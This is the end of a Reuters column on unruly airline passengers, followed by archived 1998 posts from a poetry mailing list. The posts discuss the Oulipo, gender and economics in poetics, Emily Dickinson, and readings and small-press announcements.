Another possible culprit, high on the list of irritations for airline passengers, is cramped ``sardine seating.'' Airline seats are now as small as seats on subway trains, and with many flights lasting longer passengers feel they are packed in like sardines in a can, or chickens in crowded cages. Is it any wonder they peck peevishly at those around them?

Airline executives point the finger in part at excess luggage. In recent testimony before Congress one blamed an explosion in the number and size of bags passengers carry on.

But critics say airlines themselves have contributed to the problem by removing coat closets, leaving little room for garment bags. And with eight percent of all airline baggage lost or stolen, travelers are increasingly reluctant to check their luggage.

While Congress and the airlines think about ways to fix the problem, here are a few tips if you find yourself on a flight with an unruly passenger:

-- Rather than confront the offender directly, leave your seat and seek out the purser or senior flight attendant. The purser is usually found in first class, so bypass the flight attendants in coach.

-- Give the purser the row and seat number of the unruly

passenger. Remain calm and communicate clearly.
-- If you have a tendency to be an unruly passenger yourself, keep in mind that the trip is a challenge for everyone on board. Tolerance and polite gestures could make your flights more pleasant for you and everyone around you.

(Diana Fairechild is an expert in aviation health and safety and author of the book ``Jet Smart.'' She maintains a Healthy Flying Web Site at www.flyana.com.) ^REUTERS@

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612. **Maria Damon**
queries
Wed 22 Jul 1998

---

are there surviving members of the Oulipo group and do they still meet in paris? inquiring minds need to know

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613. **George Bowering**
Re: weaving/tying
Wed 22 Jul 1998

> *Weaving -- the technique, the writing strategy -- is neither masculine nor feminine --*

Writing is textual So is textile. Hence weaving. The ending of the Odyssey is literal
denouement.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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614. **George Bowering**
Re: queries
Wed 22 Jul 1998

> *are there surviving members of the Oulipo group and do they still meet in paris? inquiring minds need to know*

Harry Mathews is certainly alive.

As are some of the ones whose names I dont know. But of course Perec and Queneau and Calvino are all gone.

The big Oulipo book should be out within the next year.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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615. d.j. huppatz
new webpage/journal
Wed 22 Jul 1998

dear all

ANNOUNCING the new TEXTBASE webpage featuring experimental writing & visual art projects from MELBOURNE, AUSTRALIA.

<http://www.skynet.apana.org.au/~samiam/textbase/textbase.htm>

TEXTBASE has been operating for a few years as a loose collective of writers working in the visual arts scene & we are now publishing our own literary journal. the TEXTBASE webpage features a(n almost) complete documentation of our visual arts projects as well as the first two issues of the journal. there are also some interesting hypertext pieces on the webpage - i recommend benjamin brady's "a is for geophysics" for those of you with good graphics & sound. any comments/criticism/inquiries appreciated.

BUT WAIT, THERE'S MORE: i still have about ten hard copies of the first two issues of the journal which i'm willing to send to interested parties. this is a free offer but swaps for your journal/chapbook/whatever would be great. backchannel a name & address.

dan huppatz
melbourne

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616. **Alan Jennifer Sondheim**
Re: Guest (for Notley)
Wed 22 Jul 1998

I think this is the greatest mystery - the relation of the symbolic to the neuro-physiological - how certain words, certain orders, can bring on chem- ical depression, neurosis, even death, how voudou operates, hypnosis; we live half-in, half-out the symbolic - we're cluttered by it...

Alan

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617. **toddbaron**
Re: pen(is)essesss post-Fem/For you Guys too
Wed 22 Jul 1998

---

weird. I meant simply that as response to the statement earlier made that "economics are impersonal" that that was wrong. Economics are Gender and Race and Age based. This must enter into a discussion of gender based writing--what keeps poets where they're kept in the class system--and writers--and visual artists--etc."--and that economics being gender based (etc) the question must focus on /more/econmics than simply form and function. Marx would not have thought gender studies were "distractions" had they been presented in this manner--He well understood who got paid for what/etc. And Reich (let's get going here) focused much attention on economic constraints primarilly placed on women and child in relation to sex/gender based roles. THAT"S the reason he got kicked out of the Communist party--he wanted to break down the standard economic roles that capitalism AND communism was placing on women and children. esp.

Tb
the poem has possibilities like this, also.

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618. **J. Kuszai**
BEYOND THE PAGE (SD CA Reading Series) from Stephen Cope
Thu 23 Jul 1998

---

as I've been out of the office for three days where the electicity don't shine (michigan during a storm) don't know if this went through. Will read digests later.

---------- Forwarded message ----------
Date: Sun, 19 Jul 1998 19:50:30 -0700 (PDT)

From: Stephen Cope <[redacted]>
To: [redacted]

BEYOND THE PAGE PRESENTS:

FOR IMMEDIATE RELEASE:

What: Beyond the Page continues its series of monthly performance and arts
events with BOBBIE WEST and STEVE CARLL
Where: Faultline Theatre, 3152 5th Avenue (at Spruce in Hillcrest), San Diego.
When: Sunday, July 26. 4:00 PM.
Contact: Stephen Cope at [redacted] or Joe Ross at [redacted].
E-mail at
[redacted], or [redacted].

* * * * * * * * *

STEVE CARLL received an MA in Poetics from New College of California, and is about to become a resident of Honolulu, Hawai'i. He is the editor of _Antynym_ (currently on hiatus), and has published two chapbooks: _Sincerity Loops_ (Bathysphere Press) and _trace a moment's closure for clues_ (Logodaedalus). His book _DRUGS_ is forthcoming from Black Fire White Fire, and his poems have recently appeared in _Rhizome_, _Melodeon_, _Angle_, and _The Washington Review_.

BOBBIE WEST grew up on a farm in Illinois. After drifing into various jobs as a waitress, union machinist, translator, and English teacher in China, she discovered poetry. Since then, her work has appeared in various magazines, the most recent of which is _Tinfish #6_. Currently employed part time at the San Diego Public Library, she works full time on various poetic projects, including a new book of literary responses to the work of Rae Armantrout, edited by Tom Beckett.

* * * * * * * * *

BEYOND THE PAGE is proud to continue its monthly series of arts-related events with this reading. Beyond the Page is an independent arts group dedicated to the promotion of experimental and explorative work in contemporary arts. For more information, call: [redacted], [redacted]; e-mail: [redacted], [redacted].

↑ Index

619. **Douglas Oliver**
Re: Oulipo
Thu 23 Jul 1998

For Maria Damon:

Jacques Roubeaud and Harry Mathews are surviving Oulipoites but I don't know if there are others.

Best

Doug Oliver

↑ Index

620. **david bromige**
reductio ad absurdum
Thu 23 Jul 1998

---

to footnote r gancie's citation under this heading :

". . .In this society, we shift social conflicts to psychic problems that can thus be charged to individuals at 50 bucks an hour as private matters. But isn't a percentage of our wages intended to cover the case? It's not only embarrassing to be like a dumb Swede in an Ingmar Bergman movie, it's suicidal. Of course suicide can be the ethically correct choice. I think of him often."

I cite my book _Red Hats_ , published in 1986 but written years earlier (that $50/hour needs updating!). As I read it today, the objection re- a percentage of our wages sounded dumb to me, the "devil's advocacy" an uncalled-for equivocation, thus bringing in the next sentence. One of the more impressive facts of the Free Speech Movement at UC Berkeley was that once the protests began, the number of students seeking psychiatric help dipped sharply -- dramatically, I'd say.

db3.

↑ Index

621. **Alan Jennifer Sondheim**
re /dream
Thu 23 Jul 1998

L'image est formee de mots qui la revent.

An image is formed by words dreaming it.

(Jabes, trans. K. Waldrop)

- Jennifer

↑ Index

622. **Simon DeDeo**
back from the 19th century
Thu 23 Jul 1998

Brief note -- telephone and power lines have been down,
here, for two days, and just returned a few hours ago,
so if anybody has been trying to reach me, their
mail probably bounced. Apologies for missing the rest
of the postfem. discussion; I'll check the archives
after I deal with the work backlog.

Also (separate note), there's a brief snippet of my
work up at

http://www.fas.harvard.edu/~sdedeo/sonnet2.html

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

↑ Index

623. **John Cayley**
subpo
Thu 23 Jul 1998

> *Here's a one-two from the subpo list*

What's the 'subpo list'? Something other or another name for something else? Details please.

↑ Index

624. **sean bonney**
rooms in london?
Thu 23 Jul 1998

Sorry to clog up the list with this sort of thing but ----

poet (and cat), 29 years, occaisonally noisy
about to start PhD on Olson & Artaud at Kings College,
London, seeks flat/houseshare by mid-September ---

any London poets backchannel PLEASE ----

warm regards, Sean

[redacted]

↑ Index

625. **Simon DeDeo**
Re: pen(is)essesss post-Fem/For you Guys too
Thu 23 Jul 1998

I think I missed the mutation of the subject line,
but I did have much fun trying to pronounce it.

Regarding Marx & feminism -- this is one of those old
faultlines that shows up every now and then, with lots
of bourgeois namecalling mixed in. Class and gender
don't get mixed up too much, although it is important
to note the "commodification" of women in society,
as well as their lack of a salary for work. In a sense,
a woman is the asymptotic point of the proletariat,
reduced to being supplied with just enough material
compensation to sustain her labor (pun perhaps intended.)

I went to a great Judith Butler lecture in the Fall
on Antigone and gender -- a wonderful Hegelian analysis
of the positon of Antigone relative to the emerging
"Marxist" (meaning "predicted by Marx") aristocratic
society of Ancient Greece. In many ways, women are placed
anterior to considerations of class; they are perceived
as lilliths preceeding the creation of economic production.
The position of Lillith is interesting, in any case;
before the initiation of the Old Testament, she's a spectre
in her own right. Communism may haunt from the future,
but gender perhaps hearkens from the past.

Regarding the sonnet form; while women may choose to embody
notions of "effeminacy" by writing prissy poems, one of
the most interesting convergences of political and literary
history is the connection between resurgent interest in
the "primitive" in literature (e.g., Russia in the '10s)
and the "woman question".

I haven't been able to keep up with all the posts on the
subject, so I apologise if I'm a few hours (minutes?) out
of phase.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

↑ Index

626. Douglas Barbour

Re: post-Fem/For you Guys too

Thu 23 Jul 1998

Henry asks about all those 'feminine' sonneteers of the 19th century & the male macho response to them, but I immediately think of one 19th century woman poet, Emily Dickinson, & how powerful her 'influence' on men as well as women is in the late 20th century. Not with sonnets either (& I know, her work wasn't 'present' in its time).

With regard to gender in writing: it would probably seem a country-minded thing to say, but couldn't it nevertheless be said, that gender is a given, in-eluctably there in whomever's writing? But, then, even if 'we' were to agree to such a simple statement, we still might add that the really interesting question is whether or no the writing (& the writer?) interrogates the concept of gender both _in_ & _by_ its formal strategies...?

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

> By stress and syllable
> by change-rhyme and contour
> we let the long line pace equal awkward to its period.
>
> The short line
> we refine
> and keep for candor.
>
> Robert Duncan

↑ Index

627. **henry g**
Re: post-Fem/For you Guys too
Thu 23 Jul 1998

On Thu, 23 Jul 1998 08:42:05 -0600 Douglas Barbour said:
>Henry asks about all those 'feminine' sonneteers of the 19th century & the
>male macho response to them, but I immediately think of one 19th century
>woman poet, Emily Dickinson, & how powerful her 'influence' on men as well
>as women is in the late 20th century. Not with sonnets either (& I know,
>her work wasn't 'present' in its time).

Dickinson's NOT writing in sonnets was a comment on the conventional writing of her time, ahead of the (sexist?) critiques of a later time. Society struggling along cleans the slate, and what was dominant (sentimental genteel versifying) is tossed out - but the battle-lines of "form" are dated now... I mean the old battle-lines... - Henry G

↑ Index

628. **David Baratier**
Re: John Yau's MY SYMPTOMS (relavant to Russo/bAron etc. discussion)
Thu 23 Jul 1998

Dear Ms. Chris Stroffolino,

what exactly do you mean by "cross-gendered identification"

And how does this imply a form of newness? For example:
Tom Gunn's "All my sad captains" or the guy who wrote
the quote both fit the above generalized parameter.How is
speaking as woman with Yau different than Browning, in your
estimation?

Be well

David Baratier

↑ Index

629. **Mark Prejsnar**
oulipo howlipo whylipo wherelipo
Thu 23 Jul 1998

Two people have responding (sort of) to Maria's inquiry about Oulipo. They simply mentioned a few names of folks who are (either) living or dead...

The other part of her question was whether the group still has any ongoing existence qua group: whether anyone oulipan still meets. That to me is the

interesting part of the question. If they ceased as a group entity, when did they do so? and similar gossipy inquiries....

The lists of membership i have seen, and group photos, show how perfectly they reflected (at one time, certainly) the assumptions of the world of letters pre-1970: a reasonably large bunch of writers, and they were *all men*...Can anyone indicate if they ever eventually had a woman member? (or two?)

Mark P.

↑ Index

630. **R.Gancie/C.Parcelli**
Re: reductio ad absurdum
Thu 23 Jul 1998

---

david bromige wrote:
>
> to footnote r gancie's citation under this heading :
>
> ". . .In this society, we shift social conflicts to psychic problems that
> can thus be charged to individuals at 50 bucks an hour as private matters.
> But isn't a percentage of our wages intended to cover the case? It's not
> only embarrassing to be like a dumb Swede in an Ingmar Bergman movie, it's
> suicidal. Of course suicide can be the ethically correct choice. I think of
> him often."
>
> I cite my book _Red Hats_ , published in 1986 but written years earlier
> (that $50/hour needs updating!). As I read it today, the objection re- a
> percentage of our wages sounded dumb to me, the "devil's advocacy" an
> uncalled-for equivocation, thus bringing in the next sentence. One of the
> more impressive facts of the Free Speech Movement at UC Berkeley was that
> once the protests began, the number of students seeking psychiatric help
> dipped sharply -- dramatically, I'd say.
>
> db3.
In support of David's contention, Human Behavior magazine once ran a piece on how depression and suicide decreased dramatically in West Belfast when riots were in full swing: "Suicides Down. Since their neighborhood turned into a battleground, fewer of the downhearted haved moved to end their own lives. The mean suicide figures for both men and women in 1970 were almost half the mean for the years 1964-69." Of course, the psychiatric reasons given for the decline are inane. The Belfastians, who were immersed historically in their condition, have

simply identified the cause of their 'depression' and attempted to eliminate it.---Rosalie Gancie (By the way the original quotes as well as the quotes from the passed few months are from Carlo Parcelli who abuses my e-mail in my name. Of course, he hastens to add his agreement to David's post).

↑ Index

631. Carolyn Guertin
BeeHive #2
Thu 23 Jul 1998

Subject: BeeHive #2 goes LIVE!!!

PERCEPTICON is pleased to announce that the second issue of its Hypertext fiction/theory/poetry journal BeeHive is now online!

_____

http://www.temporalimage.com/beehive/index.html

BeeHive #2 features;

QUEEN BEES AND THE HUM OF THE HIVE : Carolyn Guertin
a critical overview of feminist hypertext's subversive honeycombings

THE RED SPIDER and RAZORBURN : Brian Pritchett
2 short stories

5 NEW POEMS : David Hunter Sutherland

6 POEMS : Janet I. Buck

_____

You may also revisit BeeHive #1 in the newly added ArcHive

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: <http://www.ualberta.ca/~cguertin/Guertin.htm>

↑ Index

632. Fredrik Hertzberg LIT
Re: oulipo howlipo whylipo wherelipo
Thu 23 Jul 1998

On Thu, 23 Jul 1998, Mark Prejsnar wrote:

> *men*...Can anyone indicate if they ever eventually had a woman member? (or two?)*

> *Mark P.*

The following list can be found online somewhere under http://www2.ec-lille.fr/~book/oulipo/ - a good Oulipo-site, French. There seems to be at least one female member. Fred

Noël Arnaud - président - membre
fondateur
Marcel Bénabou - secrétaire
définitivement provisoire
Jacques Bens - membre fondateur
Claude Berge - membre fondateur
André Blavier
Paul Braffort - premier membre élu
Italo Calvino [décédé]
François Caradec
Bernard Cerquiglini
Ross Chambers
Stanley Chapman
Marcel Duchamp [décédé]
Jacques Duchateau - membre fondateur
Luc Etienne [décédé]
Paul Fournel - secrétaire
provisoirement définitif
Michelle Grangaud
Jacques Jouet
Latis [décédé] - membre fondateur
François Le Lionnais [décédé] - président fondateur
Hervé Le Tellier - trésorier
Jean Lescure - membre fondateur
Harry Mathews
Michele Métail
Oskar Pastior
Georges Perec [décédé]
Raymond Queneau [décédé] - fondateur
Jean Queval [décédé]
Pierre Rosenstiehl
Jacques Roubaud
Albert-Marie Schmidt [décédé]

↑ Index

633. **henry**
Re: post-Fem/For you Guys too
Thu 23 Jul 1998

Don't agree that Dickinson's writing was a "comment" at all--
just tht she did not write in the conventional form--but
not as a comment--she didn't live in a world
she was against.... Let's not make her
a warrior. She did follwo the voices she heard
on the page and the occasional church hymn (written by men) and of
course Shakespeare and the bible.
Tb

On the other hand, Dickinson read more widely than that, and anybody who wrote "publication is prostitution" (I don't know the exact quote) seems to be at war with literary protocols on some level. - Henry G

↑ Index

634. **George Thompson**
Re: post-Fem/For you Guys too
Thu 23 Jul 1998

Tb wrote of Emily Dickinson that:

> *...she didn't live in a world she was against....*

I'm not so sure about this. If you mean that she didn't live in that world I would agree: she didn't [she lived in a little room upstairs]. If you mean that she wasn't against it, I think that you'd be completely wrong: for she was as against it as they come, and all of her work says so, don't you think?

As for Henry's remarks lately, they continue to entertain and inform me. Thanks again, Henry.

GT

> *On the other hand, Dickinson read more*
> *widely than that, and anybody who wrote "publication is prostitution"*
> *(I don't know the exact quote) seems to be at war with literary protocols*
> *on some level. - Henry G*

↑ Index

635. J. Kuszai
New from Meow Press
Thu 23 Jul 1998

Meow Press is pleased to announce the publication of its 50th and 51st chapbooks, Benjamin Friedlander's _Selected Poems_ and Don Cheney's _The Qualms of Catullus & K-mart_.

Benjamin Friedlander's _Selected Poems_ contains poems from manuscripts completed in 1990 in Oakland through writing done in Buffalo this year, and includes selections from _Anterior Future_ (Meow Press, 1993) and _A Knot is Not a Tangle_ (Meow Press, 1995). With cover art by Armando Billitteri. 44pg. $6

Don Cheney's _The Qualms of Catullus & K-mart_ includes 27 poems from the full length work. In a comment about this book on the Poetics List, Bill Luoma notes: "Don is a skilled prose writer, so in his hands you get a real nasty & hilarious narrative, as you get in Catullus & Propertius, but you also get great sound. Whereas in Zukofsky's homophones, eg, you for the most part just get great sound, with the nasty humors subordinate." Selected by Bill Luoma. Cover art by Rose Anne Raphael. 32pg. $6.

for more information:

[redacted]
http://writing.upenn.edu/epc/presses

↑ Index

636. Linda Russo
Re: re /dream
Thu 23 Jul 1998

Jennifer -- this is lovely! thanks. A prof of mine used to say

. . . a dream has _You_

On Thu, 23 Jul 1998, Alan Jennifer Sondheim wrote:

> *L'image est formee de mots qui la revent.*
>
> *An image is formed by words dreaming it.*
>
> *(Jabes, trans. K. Waldrop)*
>
> *- Jennifer*

↑ Index

637. **Linda Russo**
Re: pen(is)essesss post-Fem/For you Guys too
Thu 23 Jul 1998

On Thu, 23 Jul 1998, toddbaron wrote:

Joseph & Todd --

I meant simply that I thought Todd responded well to what Joseph seemed to read as an apologist stance ("Give me a break . . "). I felt uncomfortable with Joseph's privileging of economics over gender, but perhaps he's e right, it is a _more_ oppressive system. This is something I need to think on a little more, but I felt uncomfortable measuring one against the other -- as Todd points out they're so integrally related. Didn't mean to misread or offend. I'm really enjoying this discussion. Sorry I have to sign off for a couple of days for a long weekend in the Bay Area!

linda

> *weird. I meant simply that as response to the statement earlier made that "economics are impersonal" that that was wrong. Economics are Gender and Race and Age based. This must enter into a discussion of gender based writing--what keeps poets where they're kept in the class system--and writers--and visual artists--etc."--and that economics being gender based (etc) the question must focus on /more/econmics than simply form and function. Marx would not have thought gender studies were "distractions" had they been presented in this manner--He well understood who got paid for what/etc. And Reich (let's get going here) focused much attention on economic constraints primarilly placed on women and child in relation to sex/gender based roles. THAT"S the reason he got kicked out of the Communist party--he wanted to break down the standard economic roles that capitalism AND communism was placing on women and children. esp.*
>
> *Tb*
> *the poem has possibilities like this, also.*

↑ Index

638. **louis stroffolino**
John Yau's MY SYMPTOMS (relavant to Russo/bAron etc. discussion)
Thu 23 Jul 1998

Has anybody here read Yau's new Black Sparrow book?
In it, there is much "cross-gendered identification"
that---though it is written by a male--seems to, er,
"rupture patriarchal discourse" and could serve as

a complement to, say, Carla Harryman who also engages
in "cross-gendered" identification. I think Yau does
a very good job at trying to speak AS woman "other"
and negotiating the representational anxieties that
might attend the "presumption" of such a task.....
but would be very interested to hear opposing views....
chris stroffolino

On Wed, 22 Jul 1998, Linda Russo wrote:

> *Rah rah.*
>
> *I'm glad to see Safdie Joseph annoyed with the*
> *"position" that feminism had seemed to put Todd in (in reading the*
> *original post, before Todd's brilliant comeback) -- as*
> *an apologist. Elizabeth Treadwell makes the same point as well (though I*
> *have definite issues with Postfeminist Playground, for another post).*
>
> *I wish we could just do away with the gender essentialism which causes so*
> *many with physical bodies to feel they have to apologize for some*
> *appendage or other. I'm intrigued by the problems women (and other*
> *'others') face in trying to enter the current the forums/debates etc.*
> *-- very material problems (as Woolf pointed out early on) rooted in*
> *patriarchal biases.*
>
> *But it's more fruitful to continue mucking things up, to keep getting*
> *more and more challenging writing published, to continue framing*
> *experiment as a rupture of "patriarchal laws" (Kristeva's argument; what*
> *Woolf recognized as "convention," what Bernstein has called "populist*
> *realism" etc) -- to recognized that oppression is at work, even that*
> *gender oppression is at work, but to quite calling the*
> *counter/re/active strategies "feminine"! or to call it feminine and stop*
> *stop linking this to (women's) biology! Or we all really do have the*
> *Anxiety of Influence -- we're all a bundle of nerves!*
>
> *Until we get some intelligent conversation going*
> *to reframe the issues (and reframe them for feminist literary scholarship)*
> *we're going to be beaten over the heads with said appendages. (Not that it*
> *isn't out there -- Judith Butler, for example -- But to what extent has it*
> *made its way into contemporary poetics discussions?)*
>
> *Todd's comeback:*
>
> *being "stuck' has to do with our discussion of (bad spelling...er..)*
> *gender roles and structures in poetics. If one is aware of a gender role*
> *or gender model--then I believe on is "stuck" within the defintion and*
> *confinement of terminology. I do not believe tho that one is punished or*
> *"jailed" as in "stuck in prision..stuck in my room". The thing is that*

> *"stuck" is structure--if one identifies patterns as either male or female--but I agree with others when they notice that structures in poetics are male--in that they derive from male poets and male narratives--how else would the Epic, the sonnet, etc. have found their way here--now--in their forms. Your Marxist response negates that economics is gender and age (and race) based also. Very much so--are structures of Marxism (poor ms. marx and his daughters) and Capitalist Democracy/etc ("Free Market") based on a male pattern (baldness?) power elite-thus yes economics determine us--BUT--those economics are not--are not ---"impersonal economic forces..." --*
>
> *never impersonal.*
>
> *Tb*

↑ Index

639. **Michael Magee**

Re: John Yau's MY SYMPTOMS (relavant to Russo/bAron etc. discussion)

Thu 23 Jul 1998

Haven't read the Yau but I often teach Harryman's "In The Mode Of" to my students, a gender bending masterpiece to be sure. -m.

According to louis stroffolino:
>
> Has anybody here read Yau's new Black Sparrow book?
> In it, there is much "cross-gendered identification"
> that---though it is written by a male--seems to, er,
> "rupture patriarchal discourse" and could serve as
> a complement to, say, Carla Harryman who also engages
> in "cross-gendered" identification. I think Yau does
> a very good job at trying to speak AS woman "other"
> and negotiating the representational anxieties that
> might attend the "presumption" of such a task.....
> but would be very interested to hear opposing views....
> chris stroffolino
>
> On Wed, 22 Jul 1998, Linda Russo wrote:
>
> > Rah rah.
> >
> > I'm glad to see Safdie Joseph annoyed with the

> > "position" that feminism had seemed to put Todd in (in reading the
> > original post, before Todd's brilliant comeback) -- as
> > an apologist. Elizabeth Treadwell makes the same point as well (though I
> > have definite issues with Postfeminist Playground, for another post).
> >
> > I wish we could just do away with the gender essentialism which causes so
> > many with physical bodies to feel they have to apologize for some
> > appendage or other. I'm intrigued by the problems women (and other
> > 'others') face in trying to enter the current the forums/debates etc.
> > -- very material problems (as Woolf pointed out early on) rooted in
> > patriarchal biases.
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> > But it's more fruitful to continue mucking things up, to keep getting
> > more and more challenging writing published, to continue framing
> > experiment as a rupture of "patriarchal laws" (Kristeva's argument; what
> > Woolf recognized as "convention," what Bernstein has called "populist
> > realism" etc) -- to recognized that oppression is at work, even that
> > gender oppression is at work, but to quite calling the
> > counter/re/active strategies "feminine"! or to call it feminine and stop
> > stop linking this to (women's) biology! Or we all really do have the
> > Anxiety of Influence -- we're all a bundle of nerves!
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> > Until we get some intelligent conversation going
> > to reframe the issues (and reframe them for feminist literary scholarship)
> > we're going to be beaten over the heads with said appendages. (Not that it
> > isn't out there -- Judith Butler, for example -- But to what extent has it
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> > Todd's comeback:
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> > > confinement of terminology. I do not believe tho that one is punished or
> > > "jailed" as in "stuck in prision..stuck in my room". The thing is that
> > > "stuck" is structure--if one identifies patterns as either male or
> > > female--but I agree with others when they notice that structures in
> > > poetics are male--in that they derive from male poets and male
> > > narratives--how else would the Epic, the sonnet, etc. have found their
> > > way here--now--in their forms. Your Marxist response negates that
> > > economics is gender and age (and race) based also. Very much so--are
> > > structures of Marxism (poor ms. marx and his daughters) and Capitalist

> > > Democracy/etc ("Free Market") based on a male pattern (baldness?) power
> > > elite-thus yes economics determine us--BUT--those economics are not--are
> > > not ---"impersonal economic forces..." --
> > >
> > > never impersonal.
> > >
> > > Tb
> > >
> >
>

↑ Index

640. **toddbaron**
Re: post-Fem/For you Guys too
Thu 23 Jul 1998

---

henry g wrote:
>
> On Thu, 23 Jul 1998 08:42:05 -0600 Douglas Barbour said:
> >Henry asks about all those 'feminine' sonneteers of the 19th century & the
> >male macho response to them, but I immediately think of one 19th century
> >woman poet, Emily Dickinson, & how powerful her 'influence' on men as well
> >as women is in the late 20th century. Not with sonnets either (& I know,
> >her work wasn't 'present' in its time).
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> Dickinson's NOT writing in sonnets was a comment on the conventional
> writing of her time, ahead of the (sexist?) critiques of a later time.
> Society struggling along cleans the slate, and what was dominant (sentimental
> genteel versifying) is tossed out - but the battle-lines of "form"
> are dated now... I mean the old battle-lines...
> - Henry G

Don't agree that Dickinson's writing was a "comment" at all--
just tht she did not write in the conventional form--but
not as a comment--she didn't live in a world
she was against.... Let's not make her
a warrior. She did follwo the voices she heard
on the page and the occasional church hymn (written by men) and of
course Shakespeare and the bible.

Tb

↑ Index

641. **louis stroffolino**
Party
Thu 23 Jul 1998

Just wanted to remind people again that I and Gary Sullivan are having a roof party (not to be confused with ROOF BOOKS; though people with ROOF BOOKS are invited) tomorrow night. Friday 7/24... We will be UNDER the roof it it rains.....in Brooklyn, NY.... Anybody in the NYC area (or "just visiting") is welcome to attend. Backchannel for directions, etc..... chris strofolino

↑ Index

642. **henry**
Re: post-Fem/For you Guys too
Thu 23 Jul 1998

>
I do not agree--she did not write "against"
but created "for" ---I am simply
saying also that I'm "against" others
using her (or otehrs) to promote
an ideology the /she
did not share. You can't just
read the work and say "look--
here she's writing against the role
of women and marriage"

she was an occult
writer--writing
to a certain "self" that was
surely not the politics of the day--
but rather .....

- it is pretty easy to read your own concerns into somebody's work, and pretend authorial intention is meaningless or not worth trying to understand. In that sense I agree with you that saying Dickinson was "making a statement" about sonneteering & other forms of "pop" literature without any historical record to that effect is just that kind of misreading-chatterteering. But I do think that when she sent her poems to Higginsworth [name right?] she was "testing the waters" in more ways than one - and when she found them wanting, her whole

approach became "at war" with conventional literary activity in them days. - Henry G

↑ Index

643. **louis stroffolino**
DICKINSON
Thu 23 Jul 1998

I am ABSOLUTELY SURE that Dickinson has at least some poems that pretty blatantly (and more that do it more subtly) write AGAINST the society woman role, and marriage. Sure, they are also FOR something, but it's not always just the occult..... (i don't have any definite examples handy, and I have no time to dig through the books at present, but unless my memory is TOTALLY faulty, it's there..... c

On Thu, 23 Jul 1998, toddbaron wrote:

> *George Thompson wrote:*
>
> *Tb wrote of Emily Dickinson that:*
>
> *...she didn't live in a world she was against....*
>
> *I'm not so sure about this. If you mean that she didn't live in that world I would agree: she didn't [she lived in a little room upstairs]. If you mean that she wasn't against it, I think that you'd be completely wrong: for she was as against it as they come, and all of her work says so, don't you think?*
>
> *I do not agree--she did not write "against"*
> *but created "for" ---I am simply*
> *saying also that I'm "against" others*
> *using her (or otehrs) to promote*
> *an ideology the /she*
> *did not share. You can't just*
> *read the work and say "look--*
> *here she's writing against the role*
> *of women and marriage"*
>
> *she was an occult*
> *writer--writing*
> *to a certain "self" that was*
> *surely not the politics of the day--*
> *but rather .....*

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644. daniel bouchard
Re: Party
Thu 23 Jul 1998

Chris,

What time does the party start and how many ROOF BOOKS will you have for sale? Shall I bring a banana for Hannah? A salami for Tommy?

Does everyone eat when they come to your house?

- db

At 03:20 PM 7/23/98 -0400, louis stroffolino wrote:
> Just wanted to remind people again that I and Gary Sullivan are
> having a roof party (not to be confused with ROOF BOOKS; though
> people with ROOF BOOKS are invited) tomorrow night. Friday 7/24...
> We will be UNDER the roof it it rains.....in Brooklyn, NY....
> Anybody in the NYC area (or "just visiting") is welcome to
> attend. Backchannel for directions, etc.....
> chris stroffolino
>
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

645. Michael Magee
Re: DICKINSON
Thu 23 Jul 1998

Poem #199 - "I'm Wife - I've finshed that" - is one that backs you up Chris - anyone who deson't see how this can be read as a vitriolic deconstruction of the institution of marriage doesn't know how to read. -m.

According to louis stroffolino: >
> I am ABSOLUTELY SURE that Dickinson has at least some poems

> that pretty blatantly (and more that do it more subtly) write
> AGAINST the society woman role, and marriage. Sure, they are
> also FOR something, but it's not always just the occult.....
> (i don't have any definite examples handy, and I have no
> time to dig through the books at present, but unless my memory
> is TOTALLY faulty, it's there.....
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>
> On Thu, 23 Jul 1998, toddbaron wrote:
>
> > George Thompson wrote:
> > >
> > > Tb wrote of Emily Dickinson that:
> > >
> > > >...she didn't live in a world she was against....
> > > >
> > >
> > > I'm not so sure about this. If you mean that she didn't live in that world
> > > I would agree: she didn't [she lived in a little room upstairs]. If you
> > > mean that she wasn't against it, I think that you'd be completely wrong:
> > > for she was as against it as they come, and all of her work says so, don't
> > > you think?
> > >
> > >
> > I do not agree--she did not write "against"
> > but created "for" ---I am simply
> > saying also that I'm "against" others
> > using her (or otehrs) to promote
> > an ideology the /she
> > did not share. You can't just
> > read the work and say "look--
> > here she's writing against the role
> > of women and marriage"
> >
> > she was an occult
> > writer--writing
> > to a certain "self" that was
> > surely not the politics of the day--
> > but rather .....
> >
>

↑ Index

646. **Henry g**
Re: post-Fem/For you Guys too
Thu 23 Jul 1998

Courtesy of Andrew Epstein -

----------Original message----------

The Dickinson line, in case it was bugging you -- "Publication -- is the Auction/ Of the Mind of Man --" and it ends "reduce no Human Spirit/ To Disgrace of Price--" (#709)

↑ Index

647. **Christopher W. Alexander**
wiggling fare-thee-well query
Thu 23 Jul 1998

Hi everyone -- getting ready to set nomail for my last
(for awhile) trip out to San Francisco; if anybody needs
to reach me in the next few days, you can backchannel
me at my "iname.com" address (below). I can't promise
I'll see it, but it's worth a shot.
oh, and does anybody know what-the-hell time is
the Susan Schultz reading (sunday) at Canessa Park!?

c h r i s

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

648. **Laura E. Wright**
Re: pen(is)essesss post-Fem/For you Guys too
Thu 23 Jul 1998

I had to get something in with this subject title, so:

1)
Safdie Joseph wrote:

> *toddbaron said (in replying to a post from Linda Russo):*

> *you are absolutle and correct!*

I've always wanted to be absolutle(there is nothing more delightful than a good typo)

2)
Why should ANY OF US APOLOGIZE?

> *And furthermore . . . how can it BE that NOBODY cares if a fucking POET is A MEMBER OF THE FBI!!!*

Well, then, why should we apologize if he (Jeff Clark, I believe was the suspected agent) were? But, as this question keeps reappearing, I doubt he really is, any more than I am the captain of the Naropa football team*.

